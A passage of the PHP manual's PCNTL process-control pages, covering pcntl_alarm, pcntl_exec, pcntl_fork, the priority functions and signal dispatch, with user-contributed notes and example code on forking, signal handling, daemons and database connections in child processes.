    case SIGSYS:    return 'SIGSYS';
    case SIGCONT:   return 'SIGCONT';
    case SIGUSR1:   return 'SIGUSR1';
    case SIGUSR2:   return 'SIGUSR2';
    case SIGSEGV:   return 'SIGSEGV';
    case SIGPIPE:   return 'SIGPIPE';
    case SIGALRM:   return 'SIGALRM';
    case SIGTERM:   return 'SIGTERM';
    case SIGSTKFLT: return 'SIGSTKFLT';
    case SIGCHLD:   return 'SIGCHLD';
    case SIGCLD:    return 'SIGCLD';
    case SIGIO:     return 'SIGIO';
    case SIGKILL:   return 'SIGKILL';
    case SIGTSTP:   return 'SIGTSTP';
    case SIGTTIN:   return 'SIGTTIN';
    case SIGTTOU:   return 'SIGTTOU';
    case SIGURG:    return 'SIGURG';
    case SIGXCPU:   return 'SIGXCPU';
    case SIGXFSZ:   return 'SIGXFSZ';
    case SIGVTALRM: return 'SIGVTALRM';
    case SIGPROF:   return 'SIGPROF';
    case SIGWINCH:  return 'SIGWINCH';
    case SIGPWR:    return 'SIGPWR';
  }
}

function sig_handler($signo) {
  echo "Caught " . sig_identify($signo) . " (" . $signo  . ") on " . posix_getpid() . "\n";
}

pcntl_signal(SIGFPE, "sig_handler");
pcntl_signal(SIGHUP, "sig_handler");
// pcntl_signal(SIGINT, "sig_handler");
pcntl_signal(SIGQUIT, "sig_handler");
pcntl_signal(SIGILL, "sig_handler");
pcntl_signal(SIGTRAP, "sig_handler");
pcntl_signal(SIGABRT, "sig_handler");
pcntl_signal(SIGIOT, "sig_handler");
pcntl_signal(SIGBUS, "sig_handler");
pcntl_signal(SIGPOLL, "sig_handler");
pcntl_signal(SIGSYS, "sig_handler");
pcntl_signal(SIGCONT, "sig_handler");
pcntl_signal(SIGUSR1, "sig_handler");
pcntl_signal(SIGUSR2, "sig_handler");
pcntl_signal(SIGSEGV, "sig_handler");
pcntl_signal(SIGPIPE, "sig_handler");
pcntl_signal(SIGALRM, "sig_handler");
pcntl_signal(SIGTERM, "sig_handler");
pcntl_signal(SIGSTKFLT, "sig_handler");
pcntl_signal(SIGCHLD, "sig_handler");
pcntl_signal(SIGCLD, "sig_handler");
pcntl_signal(SIGIO, "sig_handler");
pcntl_signal(SIGTSTP, "sig_handler");
pcntl_signal(SIGTTIN, "sig_handler");
pcntl_signal(SIGTTOU, "sig_handler");
pcntl_signal(SIGURG, "sig_handler");
pcntl_signal(SIGXCPU, "sig_handler");
pcntl_signal(SIGXFSZ, "sig_handler");
pcntl_signal(SIGVTALRM, "sig_handler");
pcntl_signal(SIGPROF, "sig_handler");
pcntl_signal(SIGWINCH, "sig_handler");
pcntl_signal(SIGPWR, "sig_handler");

I commented out SIGNIT, as it is the signal which is sent to your process when you press CTRL-C. If you catch this signal, you must handle it properly:

function sig_handler($signo) {
  switch($signo) {
    case SIGINT:
      // customized cleanup code
      exit; // now exit
      break;
  }
}

Otherwise the only possibility to stop your process is by sending a SIGKILL signal - you can do this on the shell by typing "kill -9 PID" (where -9 is the numerical value for SIGKILL).

Note: You cannot add a handler (i.e. ignore signals) for SIGSTOP and SIGKILL - for obvious reasons.
Basic usage
pcntl_alarm
PCNTL


Set an alarm clock for delivery of a signal

PCNTL Functions
pcntl_exec
PCNTL Functions
PHP Manual

pcntl_alarm

(PHP 4 >= 4.3.0, PHP 5)

pcntl_alarm — Set an alarm clock for delivery of a signal

Description

int pcntl_alarm ( int $seconds )

Creates a timer that will send a SIGALRM signal to the process after the given number of seconds. Any call to pcntl_alarm() will cancel any previously set alarm.

Parameters

seconds

The number of seconds to wait. If seconds is zero, no new alarm is created.

Return Values

Returns the time in seconds that any previously scheduled alarm had remaining before it was to be delivered, or 0 if there was no previously scheduled alarm.

User Contributed Notes

thessoro at gmail dot com 20-Apr-2011 09:05
If your process uses SIGALRM and sleep() at the same time, the alarm set could make sleep() to return prematurely.

To avoid this and ensure your process waits a number of seconds you could use a function or class similar to this one:

<?php
class SleepWorkaroundForSIGALRM {
    private $time;
    function __construct($seconds) {
        $this->time = time() + $seconds;
        while ($this->time >= time()) {
            sleep(1);
        }
    }
?>
j at ukr-info dot net 20-Oct-2005 04:51
<?php
    declare(ticks = 1);

    function signal_handler($signal) {
        print "Caught SIGALRM\n";
        pcntl_alarm(5);
    }

    pcntl_signal(SIGALRM, "signal_handler", true);
    pcntl_alarm(5);

    for(;;) {
    }

?>
PCNTL Functions
pcntl_exec
PCNTL Functions


Executes specified program in current process space

pcntl_alarm
pcntl_fork
PCNTL Functions
PHP Manual

pcntl_exec

(PHP 4 >= 4.2.0, PHP 5)

pcntl_exec — Executes specified program in current process space

Description

void pcntl_exec ( string $path [, array $args [, array $envs ]] )

Executes the program with the given arguments.

Parameters

path

path must be the path to a binary executable or a script with a valid path pointing to an executable in the shebang ( #!/usr/local/bin/perl for example) as the first line. See your system's man execve(2) page for additional information.

args

args is an array of argument strings passed to the program.

envs

envs is an array of strings which are passed as environment to the program. The array is in the format of name => value, the key being the name of the environmental variable and the value being the value of that variable.

Return Values

Returns FALSE on error and does not return on success.

User Contributed Notes

trevorpearce at gmail dot com 22-Jan-2012 06:36
I spent a lot of time trying to figure this powerful option out so I didn't get error 2 or error 8. The documentation says it can execute a binary file and here is a good example that works that I found;

    print "Before\n";
    pcntl_exec("/usr/bin/uptime");
    print "After\n";

However I wanted it to run another php program and after wasting a lot of time I finally got it.

$tasks2=array('/var/www/example.php');
pcntl_exec("/usr/bin/php",$tasks2);

The php script has to be in an array and you execute the binary php file

I'll be adding this to launching a child and run it seperately using this function

function launchchild($programexe,$programvars)
{
//foreach ($tasks as $key => $v){
   switch ($pid = pcntl_fork()) {
      case -1:
         // @fail
         die('Fork failed');
         break;

      case 0:
         // @child: Include() misbehaving code here
         print "FORK: Child #{$x} \n";
         echo "child after fork:", getmypid(), PHP_EOL;
         pcntl_exec($programexe,$programvars);
         // generate_fatal_error(); // Undefined function
         break;

      default:
         // @parent
         print "FORK: $x Parent\n";
         echo "parent after fork:", getmypid(), PHP_EOL;
         // pcntl_waitpid($pid, $status);
         break;
   }

print "Done! :^)\n\n";
}
fahadsadah at gmail dot com dot please dot remove dot this 28-Jun-2008 07:44
Just a note regarding what rbemrose at vgmusic dot com said:
Once the executed process ends, control returns to the webserver process.
rbemrose at vgmusic dot com 06-Feb-2008 02:44
As a side note, if I'm reading the comments below correctly, you should not run this if you're using a PHP webserver module, as it will replace the webserver's process with whatever process you're telling it to run.
agodong at verizon dot net 07-Dec-2006 10:47
Some people might find it useful to run other program using the same process as a different user. This is very usefull if the script is running under root. Here is a simple code to achieve that under *nix PHP CLI:

#!/usr/bin/php -q
<?php
//Enter run-as user below (argument needed to be passed when the script is called), otherwise it will run as the caller user process.

$username = $_SERVER['argv'][1];

$user = posix_getpwnam($username);
posix_setuid($user['uid']);
posix_setgid($user['gid']);
pcntl_exec('/path/to/cmd');
?>

I use this as a part of socket program so that a program can be run under different user from remote location.
eric kilfoil 24-Oct-2006 10:01
The pcntl_exec() function works exactly like the standard (unix-style) exec() function.  It differs from the regular PHP exec() function in that the process calling the pcntl_exec() is replaced with the process that gets called.  This is the ideal method for creating children.  In a simple example (that does no error checking):

switch (pcntl_fork()) {
  case 0:
    $cmd = "/path/to/command";
    $args = array("arg1", "arg2");
    pcntl_exec($cmd, $args);
    // the child will only reach this point on exec failure,
    // because execution shifts to the pcntl_exec()ed command
    exit(0);
  default:
    break;
}

// parent continues
echo "I am the parent";

--

since this is not being executed through a shell, you must provide the exact path from the filesystem root.  Look at the execve() man page for more information.
michael dot ferre at mobileway dot com 20-Nov-2002 03:28
//To complete my last note
//If you use some object in your php code
//You will have some problem if you do a exit after include the
//child scripts
//You must use posix_kill() like that :

$CHILD_PID = pcntl_fork();
if($CHILD_PID == 0)
{
  include ($script_path);
  posix_kill(getmypid(),9);
}

//This code is very simple it can be ameliorate ;)
michael dot ferre at mobileway dot com 19-Nov-2002 04:19
//If you are in php version between 4.1 and 4.2
//When you use pcntl_fork and after you want use
//pcntl_exec, you can because pcntl_exec isn't used before
//php 4.2 so let me show a solution :

$CHILD_PID = pcntl_fork();
if($CHILD_PID == 0)
{
   include ($script_path);
   exit;
}

//$script_path is the  *.php page which you want lauch like
// a child .

//I don't know why php coder hadn't add  pcntl_exec in the
//same time that other function

//Michaël F. php developer .
pcntl_alarm
pcntl_fork
PCNTL Functions


Forks the currently running process

pcntl_exec
pcntl_getpriority
PCNTL Functions
PHP Manual

pcntl_fork

(PHP 4 >= 4.1.0, PHP 5)

pcntl_fork — Forks the currently running process

Description

int pcntl_fork ( void )

The pcntl_fork() function creates a child process that differs from the parent process only in its PID and PPID. Please see your system's fork(2) man page for specific details as to how fork works on your system.

Return Values

On success, the PID of the child process is returned in the parent's thread of execution, and a 0 is returned in the child's thread of execution. On failure, a -1 will be returned in the parent's context, no child process will be created, and a PHP error is raised.

Examples

Example #1 pcntl_fork() example

<?php

$pid = pcntl_fork();
if ($pid == -1) {
     die('could not fork');
} else if ($pid) {
     // we are the parent
     pcntl_wait($status); //Protect against Zombie children
} else {
     // we are the child
}

?>

See Also

  • pcntl_waitpid() - Waits on or returns the status of a forked child
  • pcntl_signal() - Installs a signal handler
  • setproctitle() - Set the process title

User Contributed Notes

kexianbin at diyism dot com 12-Dec-2011 11:17
Fork in foreach:

<?php
foreach ($tasks as $v)
        {if (($pid=pcntl_fork())===-1)
            {//...
             continue;
            }
         else if ($pid)
              {pcntl_wait($status, WNOHANG); //protect against zombie children, one wait vs one child
              }
         else if ($pid===0)
              {ob_start();//prevent output to main process
               register_shutdown_function(create_function('$pars', 'ob_end_clean();posix_kill(getmypid(), SIGKILL);'), array());//to kill self before exit();, or else the resource shared with parent will be closed
               //...
               exit();//avoid foreach loop in child process
              }
        }
?>
nmmm at nmmm dot nu 21-Nov-2011 10:57
It was driving me crazy that the script was killed couple of hours after I logged out, even I started it as:

php server.php >& logfile.txt

looks like PHP somehow interact with standard input, even I do not used it.

Solution was to start it with nohup:

nohup php server.php >& logfile.txt

or to do demonize / run as demon (e.g. fork() and close file descriptors)
sean dot kelly at mediatile dot com 22-Oct-2010 05:36
"Fatal Error" has always been the bane of my world because there is no way to capture and handle the condition in PHP. My team builds almost everything in PHP in order to leverage our core library of code, so it was of the essence to find a solution for this problem of scripts bombing unrecoverably and us never knowing about it.

One of our background automation systems creates a "task queue" of sorts and for each task in the queue, a PHP module is include()ed to handle the task. Sometimes however a poorly behaved module will nuke with a Fatal Error and take out the parent script with it.

I decided to try to use pcntl_fork() to isolate the task module from the parent code, and it seems to work: a Fatal Error generated within the module makes the child task bomb, and the waiting parent can simply catch the return code from the child and track/alert us to the problem as needed.

Naturally something similar could be done if I wanted to simply exec() the module and check the output, but then I would not have the benefit of the stateful environment that the parent script has so carefully prepared. This allows me to keep the child process within the context of the parent's running environment and not suffer the consequences of Fatal Errors stopping the task queue from continuing to process.

Here is fork_n_wait.php for your amusement:

<?php

if (! function_exists('pcntl_fork')) die('PCNTL functions not available on this PHP installation');

for ($x = 1; $x < 5; $x++) {
   switch ($pid = pcntl_fork()) {
      case -1:
         // @fail
         die('Fork failed');
         break;

      case 0:
         // @child: Include() misbehaving code here
         print "FORK: Child #{$x} preparing to nuke...\n";
         generate_fatal_error(); // Undefined function
         break;

      default:
         // @parent
         print "FORK: Parent, letting the child run amok...\n";
         pcntl_waitpid($pid, $status);
         break;
   }
}

print "Done! :^)\n\n";
?>

Which outputs:
php -q fork_n_wait.php
FORK: Child #1 preparing to nuke...
PHP Fatal error:  Call to undefined function generate_fatal_error() in ~fork_n_wait.php on line 16
FORK: Parent, letting the child run amok...
FORK: Child #2 preparing to nuke...
PHP Fatal error:  Call to undefined function generate_fatal_error() in ~/fork_n_wait.php on line 16
FORK: Parent, letting the child run amok...
FORK: Child #3 preparing to nuke...
PHP Fatal error:  Call to undefined function generate_fatal_error() in ~/fork_n_wait.php on line 16
FORK: Parent, letting the child run amok...
FORK: Child #4 preparing to nuke...
PHP Fatal error:  Call to undefined function generate_fatal_error() in ~/fork_n_wait.php on line 16
FORK: Parent, letting the child run amok...
Done! :^)
KrazyBox 12-Aug-2010 07:33
There are quite a few questions regarding how file descriptors get handled when processes are forked.

Remember that fork() makes a copy of the program, which means all descriptors are copied. Unfortunately, this is a rather bad situation for a PHP program because most descriptors are handled by PHP or a PHP Extension internally.

The simple, and probably "proper" way to solve this issue is to fork before hand, there really should be no need to fork at many different points among a program, you would simply fork, and then delegate the work. Use a master/worker hierarchy.

For example, if you need to have many processes that use a MySQL Connection, just fork before the connection is made, that way each child has it´s own connection to mysql that it, and it alone, manages.

With careful and correct usage, fork() can be an extremely powerful tool.

--Please remember to take proper care of your children.
somebody 12-Aug-2010 03:46
you should be _very_ careful with using fork in scripts beyond academic examples,
or rather just avoid it alltogether, unless you are very aware of it's limitations.

the problem is that it just forks the whole php process, including not only
the state of the script, but also the internal state of any extensions loaded.
this means that all memory is copied, but all file descriptors are shared among
the parent and child processes.
and that can cause major havoc if some extension internally maintains
file descriptors.
the primary example is ofcourse mysql, but this could be any extensions that
maintains open files or network sockets.
also, just reopening your connection in the parent or child isn't a safe
method, because when the old connection resource is destroyed, the extension
might not just close it, but for example send a request to the server to log
off, making the connection unusable.
this happens with mysql for example, when php exits - in the following script the query will always fail with "MySQL server has gone away":

<?php
mysql_connect(/* enter a working server here maybe? */);
if(pcntl_fork()) die(); // fork a child and have the parent terminate
//if(pcntl_fork()) posix_kill(getmypid(),9); // works, but very ugly
$r=mysql_query("select 1;");
if(!$r)die(mysql_error()."\n");
?>
(it was suggested that processes kill themselves with SIGKILL to avoid any cleanup on shutdown)

(the only save way would be to close all connections and reopen them after the fork, and even that might not be possible if an extension keeps one open internally)

for a nice demonstration of the havoc fork can create, try the below script.
it opens a mysql connection, then forks, and runs queries from both parent and child,
verifying that it receives the correct result.
run it (on the cli preferably) a few times, and you will find various possible
results:
- very often is just hangs and doesn't output anything anymore
- also very often, the server closes the connection, probably because it
  receives interleaved requests it can't process.
- sometimes one process gets the result of the OTHER processes'
  query! (because both send their queries down the same socket,
  and it's pure luck who gets the reply)

<?php
mysql_connect(/* enter a working server here maybe? */);
$f=pcntl_fork();
while(true){
    sleep(rand(0,10)/100);
    $r=mysql_query("select $f;");
    if(!$r)die($f.": ".mysql_error()."\n");
    list($x)=mysql_fetch_array($r);
    echo ($f)?".":"-";
    if($x!=$f) echo ($f.": fail: $x!=$f\n ");
}
?>
iulian 10-Jul-2010 11:58
When using fork to run multiple children processes on a single job queue using mysql, I used mysql_affected_rows() to prevent collisions between workers:

First I find a "free" job:
SELECT job_id FROM queue WHERE status="free"

Then I update the queue:
UPDATE queue SET worker_id={$worker_id} WHERE job_id={$job_id}

Then I see if the row was changed

<?php
if(mysql_affected_rows() == 0)
{
//the row hasn't changed, so it must mean that another worker has claimed the job, so I go back to the "find a free job" query
}
else
{
//do the job
}
?>
duerra at yahoo dot com 01-Jul-2010 07:06
Using pcntl_fork() can be a little tricky in some situations.  For fast jobs, a child can finish processing before the parent process has executed some code related to the launching of the process.  The parent can receive a signal before it's ready to handle the child process' status.  To handle this scenario, I add an id to a "queue" of processes in the signal handler that need to be cleaned up if the parent process is not yet ready to handle them.

I am including a stripped down version of a job daemon that should get a person on the right track.

<?php
declare(ticks=1);
//A very basic job daemon that you can extend to your needs.
class JobDaemon{

    public $maxProcesses = 25;
    protected $jobsStarted = 0;
    protected $currentJobs = array();
    protected $signalQueue=array();
    protected $parentPID;

    public function __construct(){
        echo "constructed \n";
        $this->parentPID = getmypid();
        pcntl_signal(SIGCHLD, array($this, "childSignalHandler"));
    }

    /**
    * Run the Daemon
    */
    public function run(){
        echo "Running \n";
        for($i=0; $i<10000; $i++){
            $jobID = rand(0,10000000000000);

            while(count($this->currentJobs) >= $this->maxProcesses){
               echo "Maximum children allowed, waiting...\n";
               sleep(1);
            }

            $launched = $this->launchJob($jobID);
        }

        //Wait for child processes to finish before exiting here
        while(count($this->currentJobs)){
            echo "Waiting for current jobs to finish... \n";
            sleep(1);
        }
    }

    /**
    * Launch a job from the job queue
    */
    protected function launchJob($jobID){
        $pid = pcntl_fork();
        if($pid == -1){
            //Problem launching the job
            error_log('Could not launch new job, exiting');
            return false;
        }
        else if ($pid){
            // Parent process
            // Sometimes you can receive a signal to the childSignalHandler function before this code executes if
            // the child script executes quickly enough!
            //
            $this->currentJobs[$pid] = $jobID;

            // In the event that a signal for this pid was caught before we get here, it will be in our signalQueue array
            // So let's go ahead and process it now as if we'd just received the signal
            if(isset($this->signalQueue[$pid])){
                echo "found $pid in the signal queue, processing it now \n";
                $this->childSignalHandler(SIGCHLD, $pid, $this->signalQueue[$pid]);
                unset($this->signalQueue[$pid]);
            }
        }
        else{
            //Forked child, do your deeds....
            $exitStatus = 0; //Error code if you need to or whatever
            echo "Doing something fun in pid ".getmypid()."\n";
            exit($exitStatus);
        }
        return true;
    }

    public function childSignalHandler($signo, $pid=null, $status=null){

        //If no pid is provided, that means we're getting the signal from the system.  Let's figure out
        //which child process ended
        if(!$pid){
            $pid = pcntl_waitpid(-1, $status, WNOHANG);
        }

        //Make sure we get all of the exited children
        while($pid > 0){
            if($pid && isset($this->currentJobs[$pid])){
                $exitCode = pcntl_wexitstatus($status);
                if($exitCode != 0){
                    echo "$pid exited with status ".$exitCode."\n";
                }
                unset($this->currentJobs[$pid]);
            }
            else if($pid){
                //Oh no, our job has finished before this parent process could even note that it had been launched!
                //Let's make note of it and handle it when the parent process is ready for it
                echo "..... Adding $pid to the signal queue ..... \n";
                $this->signalQueue[$pid] = $status;
            }
            $pid = pcntl_waitpid(-1, $status, WNOHANG);
        }
        return true;
    }
}
Anonymous 19-Nov-2009 10:12
With regards to the database connection, one could deal with this using kill 9 or a sleep, the real problem is if two threads make a database query at the same time, PHP starts having random database errors that are not necessarily clear as to what the problem is.

You should create a separate link per thread.
Tony 29-Oct-2009 03:05
If you want to execute some code after your php page has been returned to the user. Try something like this -

<?php
function index()
{
        function shutdown() {
            posix_kill(posix_getpid(), SIGHUP);
        }

        // Do some initial processing

        echo("Hello World");

        // Switch over to daemon mode.

        if ($pid = pcntl_fork())
            return;     // Parent

        ob_end_clean(); // Discard the output buffer and close

        fclose(STDIN);  // Close all of the standard
        fclose(STDOUT); // file descriptors as we
        fclose(STDERR); // are running as a daemon.

        register_shutdown_function('shutdown');

        if (posix_setsid() < 0)
            return;

        if ($pid = pcntl_fork())
            return;     // Parent

        // Now running as a daemon. This process will even survive
        // an apachectl stop.

        sleep(10);

        $fp = fopen("/tmp/sdf123", "w");
        fprintf($fp, "PID = %s\n", posix_getpid());
        fclose($fp);

        return;
}
?>
php at mx dot magic-lamp dot org 11-Sep-2009 01:31
A workaround for the MySQL "Lost Connection during query", or any other object related problems caused by children exiting is to force the child to kill -9 itself, thus avoiding any cleanup.  Sure - it's not too elegant, but it does work.

<?php
$pid = pcntl_fork();
if ( $pid == 0 ) {
    // This is the child process.  Do something here.
    // Instead of calling exit(), we use posix_kill()
    posix_kill(getmypid(),9);
}
?>

Watch out that you don't spawn too many processes though as this creates its own problems.
drrota at us dot ibm dot com 22-Aug-2009 03:47
I was able to get around the problem of not being able to run fork and exec from Apache php.

I got around this by calling the system 'at' command on Linux.  "at run something now".  and you have to set atrun -s in a crontab file (to run every minute) to insure that things get kicked off quickly even if there is a heavy load on the machine.

If you're the only one running batch jobs on a linux box, this works.
csrster at gmail dot com 12-Sep-2008 02:48
Here's one way to execute a bunch of commands in an array, each in its own process

<?php
foreach ($cmds as $cmd) {
  $pid=pcntl_fork();
  if ($pid) {
    exec($cmd);
    break;
  }
}
?>

Don't forget the break statement!

I use this in a cli routine to rip a bunch of internet radio streams in parallel. This kind of parallelism is natural here because the download rate for each stream is limited by the network, not the cpu.
kentmussell at mindspring dot com 27-Nov-2007 10:05
Here is an interesting script I wrote.  It demonstrates how pcntl_fork() might be used as a useful tool.

<?php
/* This script serves the purpose of testing an algorithm designed to:
a.) Compare password hashes, or try passwords efficiently where the time to try a single password is 10 seconds.
b.) Spawn threads to work simultaneously on comparing hashes.
c.) Restrict the number of threads open at a time.
*/
//checks for divisibility
function divby($num,$den) {
    $result = $num/$den;
    $result2 = floor($result);
    if ($result == $result2) {
        return true;
        }
    else {
        return false;
        }
    }
//checks whether a period of time fits into 2 second intervals occuring every 10 seconds.  Interval may increase or decrease in size to use more or less memory.
function goodTime($elapsed) {
    $num = floor($elapsed);
    $num = $num/12;
    $min = floor($num);
    $min = 12*$min;
    $max = $min+2;
    if ($elapsed >= $min && $elapsed <= $max) {
        return "yes";
        }
    else {
        return "no";
        }
    }

$x = 30; //number of child threads
$pid = 1; //needed to create first thread
$xpass = md5('29');//hash to crack
$time = time();
$i = 1;
//parent spawns $x children.
while ($i <= $x) {
    if (file_exists('childcall.txt')) {
        unlink('childcall.txt');
        exit;
        }
    $elapsed = time()-$time;
    //children are only spawned during intervals occuring every 10 seconds leaving enough time for the previous batch of children to finish their task.
    if (goodTime($elapsed)=="yes") {
        //Are we the parent?
        if ($pid != 0) {
            //Give birth to a child.
            $pid = pcntl_fork();
            //create a record of how many children have been birthed.
            $arr[$i] = $i;
            $time2 = $elapsed;
            }
        //escort children out of the loop.
        if ($pid == 0) {
            $i = $x+1;
            }
        $i++;
        }
    }
//parent waits for children to finish playing.
if ($pid) {
    $value = 1;
    while (!file_exists('childcall.txt')) {
        //wait
        }
    unlink('childcall.txt');
    $time = time()+2;
    while (time()<$time) {
        //wait
        }
    exit;
    }
//children take turns finding the highest array value, and changing it to 0
rsort($arr);
$value = max($arr);
$arr[$value] = 0;
$time = time()+10;
//simulate delay
while (time() < $time) {
    //wait
    }
//compare the high array value hash to the hash we are looking to crack.
if (md5($value) == $xpass) {
    echo "$value \n";
    }
if ($value == $x || md5($value) == $xpass) {
    $file = "childcall.txt";
    $content = true;
    file_put_contents($file,$contents);
    }
?>
frans-jan at van-steenbeek dot net 30-May-2007 05:12
I've posted this here before, but the article has been down so my post got deleted.

I've written an in-depth look at pcntl_fork() which is available here:
http://www.van-steenbeek.net/?q=php_pcntl_fork
amatsak at chestnutsoftware dot com 25-Oct-2006 02:06
The reason for the MySQL "Lost Connection during query" issue when forking is the fact that the child process inherits the parent's database connection. When the child exits, the connection is closed. If the parent is performing a query at this very moment, it is doing it on an already closed connection, hence the error.

An easy way to avoid this is to create a new database connection in parent immediately after forking. Don't forget to force a new connection by passing true in the 4th argument of mysql_connect():

<?php
// Create the MySQL connection
$db = mysql_connect($server, $username, $password);

$pid = pcntl_fork();

if ( $pid == -1 ) {
    // Fork failed
    exit(1);
} else if ( $pid ) {
    // We are the parent
    // Can no longer use $db because it will be closed by the child
    // Instead, make a new MySQL connection for ourselves to work with
    $db = mysql_connect($server, $username, $password, true);
} else {
    // We are the child
    // Do something with the inherited connection here
    // It will get closed upon exit
    exit(0);
?>

This way, the child will inherit the old connection, will work on it and will close upon exit. The parent won't care, because it will open a new connection for itself immediately after forking.

Hope this helps.
xuecan at google dot com 26-Aug-2006 09:59
I think this simple code can help understand how fork works:

<?php
echo "posix_getpid()=".posix_getpid().", posix_getppid()=".posix_getppid()."\n";

$pid = pcntl_fork();
if ($pid == -1) die("could not fork");
if ($pid) {
    echo "pid=".$pid.", posix_getpid()=".posix_getpid().", posix_getppid()=".posix_getppid()."\n";
} else {
    echo "pid=".$pid.", posix_getpid()=".posix_getpid().", posix_getppid()=".posix_getppid()."\n";
}
?>
arnold at helderhosting dot nl 13-Feb-2005 07:12
It is not possible to use the function 'pcntl_fork' when PHP is used as Apache module. You can only use pcntl_fork in CGI mode or from command-line.

Using this function will result in: 'Fatal error: Call to undefined function: pcntl_fork()'
ben at gelbnet dot com 25-Sep-2002 03:54
I was writing a shell script to get input from a user, however, I needed my script to time out after a certain number of seconds if the user didn't enter enough data. The code below descibes the method I used. It's a little hairy but it does work.

-Ben

#!/home/ben/php/bin/php -q
<?php
//GLOBALS
$RETURN_CHAR = "\n";
$TIMEOUT = 5; //number of seconds to timeout on input
$PID = getmypid();
$CHILD_PID = 0;

//Make sure program execution doesn't time out
set_time_limit(0);

function set_timeout() {
global $PID;
global $CHILD_PID;
global $TIMEOUT;

$CHILD_PID = pcntl_fork();
if($CHILD_PID == 0) {
sleep($TIMEOUT);
posix_kill($PID, SIGTERM);
exit;
}
}

function clear_timeout() {
global $CHILD_PID;
posix_kill($CHILD_PID, SIGTERM);
}

// read_data()
// gets a line of data from STDIN and returns it
function read_data() {

$in = fopen("php://stdin", "r");
set_timeout();
$in_string = fgets($in, 255);
clear_timeout();
fclose($in);
return $in_string;
}

// write_data($outstring)
// writes data to STDOUT
function write_data($outstring) {
$out = fopen("php://stdout", "w");
fwrite($out, $outstring);
fclose($out);
}

while(1) {
write_data("say something->");
$input = read_data();
write_data($RETURN_CHAR.$input);
}

?>
pcntl_exec
pcntl_getpriority
PCNTL Functions


Get the priority of any process

pcntl_fork
pcntl_setpriority
PCNTL Functions
PHP Manual

pcntl_getpriority

(PHP 5)

pcntl_getpriority — Get the priority of any process

Description

int pcntl_getpriority ([ int $pid = getmypid() [, int $process_identifier = PRIO_PROCESS ]] )

pcntl_getpriority() gets the priority of pid. Because priority levels can differ between system types and kernel versions, please see your system's getpriority(2) man page for specific details.

Parameters

pid

If not specified, the pid of the current process is used.

process_identifier

One of PRIO_PGRP, PRIO_USER or PRIO_PROCESS.

Return Values

pcntl_getpriority() returns the priority of the process or FALSE on error. A lower numerical value causes more favorable scheduling.

Warning

This function may return Boolean FALSE, but may also return a non-Boolean value which evaluates to FALSE. Please read the section on Booleans for more information. Use the === operator for testing the return value of this function.

See Also

  • pcntl_setpriority() - Change the priority of any process

User Contributed Notes

jonathan at jcdesigns dot com 15-May-2008 02:12
This function is ideal for checking if a given process is running, I have seen solutions that involve running the system utilites like PS and parsing the answer, which should work fine, but this allows you to check a given PID with a single call

function CheckPID( $PID )
{
        // Check if the passed in PID represents a vlaid process in the system
        // Returns true if it does
        // Turn off non-fatal runtime warning for a moment as we know we
        // will get one if the PID does not represent a valid process

    $oldErrorLevel = error_reporting(0);
    error_reporting( $oldErrorLevel & ~E_WARNING );
    $res = pcntl_getpriority($PID);
    error_reporting( $oldErrorLevel);
    return ! ( $res === false);
}
pcntl_fork
pcntl_setpriority
PCNTL Functions


Change the priority of any process

pcntl_getpriority
pcntl_signal_dispatch
PCNTL Functions
PHP Manual

pcntl_setpriority

(PHP 5)

pcntl_setpriority — Change the priority of any process

Description

bool pcntl_setpriority ( int $priority [, int $pid = getmypid() [, int $process_identifier = PRIO_PROCESS ]] )

pcntl_setpriority() sets the priority of pid.

Parameters

priority

priority is generally a value in the range -20 to 20. The default priority is 0 while a lower numerical value causes more favorable scheduling. Because priority levels can differ between system types and kernel versions, please see your system's setpriority(2) man page for specific details.

pid

If not specified, the pid of the current process is used.

process_identifier

One of PRIO_PGRP, PRIO_USER or PRIO_PROCESS.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • pcntl_getpriority() - Get the priority of any process

User Contributed Notes

t dot stobbe at blackdogdev dot com 27-Aug-2006 03:49
As for the renice function by leandro dot pereira at gmail dot com, this isn't true.  pcntl_setpriority() doesn't set the nice level of a process, but instead sets the base priority of it.  At first glance this might seem like the same thing, but on a system level, they are actually quite different.

In fact, if you're looking to use pcntl_setpriority() to prioritize your process (a tool or a daemon or what-not), I wouldn't recomend using setpriority at all, but renice it instead.  Let the system manage priorities and you'll end up with the results you were looking for.

This applies only to POSIX based systems only (as does the function presented by leandro dot pereira at gmail dot com as well).
leandro dot pereira at gmail dot com 23-Dec-2004 07:08
The following snippet may be used under older versions of PHP to provide similar functionality.  Tested only under Linux.

<?php
function _pcntl_setpriority($priority, $pid = 0)
{
        $priority = (int)$priority;
        $pid = (int)$pid;

        if ($priority > 20 && $priority < -20) {
                return False;
        }
        if ($pid == 0) {
                $pid = getmypid();
        }

        return system("renice  $priority -p $pid") != false;
}

?>
pcntl_getpriority
pcntl_signal_dispatch
PCNTL Functions


Calls signal handlers for pending signals

pcntl_setpriority
pcntl_signal
PCNTL Functions
PHP Manual

pcntl_signal_dispatch

(PHP 5 >= 5.3.0)

pcntl_signal_dispatch — Calls signal handlers for pending signals

Description

bool pcntl_signal_dispatch ( void )

The pcntl_signal_dispatch() function calls the signal handlers installed by pcntl_signal() for each pending signal.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 pcntl_signal_dispatch() example

<?php
echo "Installing signal handler...\n";
pcntl_signal(SIGHUP,  function($signo) {
     echo "signal handler called\n";
});

echo "Generating signal SIGHUP to self...\n";
posix_kill(posix_getpid(), SIGHUP);

echo "Dispatching...\n";
pcntl_signal_dispatch();

echo "Done\n";

?>

The above example will output something similar to:

Installing signal handler...
Generating signal SIGHUP to self...
Dispatching...
signal handler called
Done

See Also

  • pcntl_signal() - Installs a signal handler
  • pcntl_sigprocmask() - Sets and retrieves blocked signals
  • pcntl_sigwaitinfo() - Waits for signals
  • pcntl_sigtimedwait() - Waits for signals, with a timeout

User Contributed Notes

webmaster at ajeux dot com 10-Aug-2009 10:50
If you are running PHP as CLI and as a "daemon" (i.e. in a loop), this function must be called in each loop  to check if new signals are waiting dispatching.
pcntl_setpriority
pcntl_signal
PCNTL Functions


Installs a signal handler

pcntl_signal_dispatch
pcntl_sigprocmask
PCNTL Functions
PHP Manual

pcntl_signal

(PHP 4 >= 4.1.0, PHP 5)

pcntl_signal — Installs a signal handler

Description

bool pcntl_signal ( int $signo , callback $handler [, bool $restart_syscalls = true ] )

The pcntl_signal() function installs a new signal handler for the signal indicated by signo.

Parameters

signo

The signal number.

handler

The signal handler which may be the name of a user created function, or method, or either of the two global constants SIG_IGN or SIG_DFL.

Note:

Note that when you set a handler to an object method, that object's reference count is increased which makes it persist until you either change the handler to something else, or your script ends.

restart_syscalls
